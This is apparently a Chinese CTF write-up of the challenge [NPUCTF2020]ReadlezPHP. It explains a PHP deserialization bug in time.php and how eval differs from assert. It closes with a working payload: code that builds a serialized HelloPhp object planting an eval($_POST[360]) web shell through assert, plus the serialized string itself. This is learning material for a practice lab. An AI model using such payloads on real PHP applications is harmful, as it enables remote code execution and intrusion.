[NPUCTF2020]ReadlezPHP

最新推荐文章于 2025-02-10 22:46:22 发布

原创最新推荐文章于 2025-02-10 22:46:22 发布 · 202 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#php

Buuctf刷题篇专栏收录该内容

41 篇文章

订阅专栏

本文探讨了一道涉及PHP反序列化和assert、eval区别的安全题目。通过分析time.php源码，发现这是一道关于PHP反序列化的练习。讲解了eval和assert在执行PHP代码时的不同，并给出了payload示例。然而，在实际尝试时，flag并未直接显示，提示可能隐藏在phpinfo()输出中。

每天一题，记录学习

在这里插入图片描述
首先注意到的就是右键看不了源码，那就直接抓包来看，可恶，注意到有一个隐藏的 <a href="./time.php?source"></a> 标签

去访问这个./time.php?source 看看，很明显就是一道反序列化的题目

代码很简单，就是$a和$b形成嵌套$b($a) 来执行就行了

注意一下eval和assert的区别

eval和assert
二者都可以执行PHP语句。只不过是，eval规范更加严格一些，必须符合PHP代码要求。而assert则没有那么严格，执行PHP表达式即可。

eval 函数把字符串按照 PHP 代码来计算 (执行)，该字符串必须是合法的 PHP 代码，且必须以分号结尾。
如eval(“echo 1;”)
如果没有在代码字符串中调用 return 语句，则返回 NULL。如果代码中存在解析错误，则 eval() 函数返回 false

assert 函数功能是判断一个表达式是否成立，返回true or false，重点是函数会执行此表达式。如果表达式为函数如assert(“echo(1)”)，则会输出1，而如果为assert(“echo 1;”)则不会有输出。

payload

 <?php
class HelloPhp
{
    public $a='eval($_POST[360])';
    public $b='assert';
}
$c = new HelloPhp;
echo serialize($c);

//O:8:"HelloPhp":2:{s:1:"a";s:17:"eval($_POST[360])";s:1:"b";s:6:"assert";}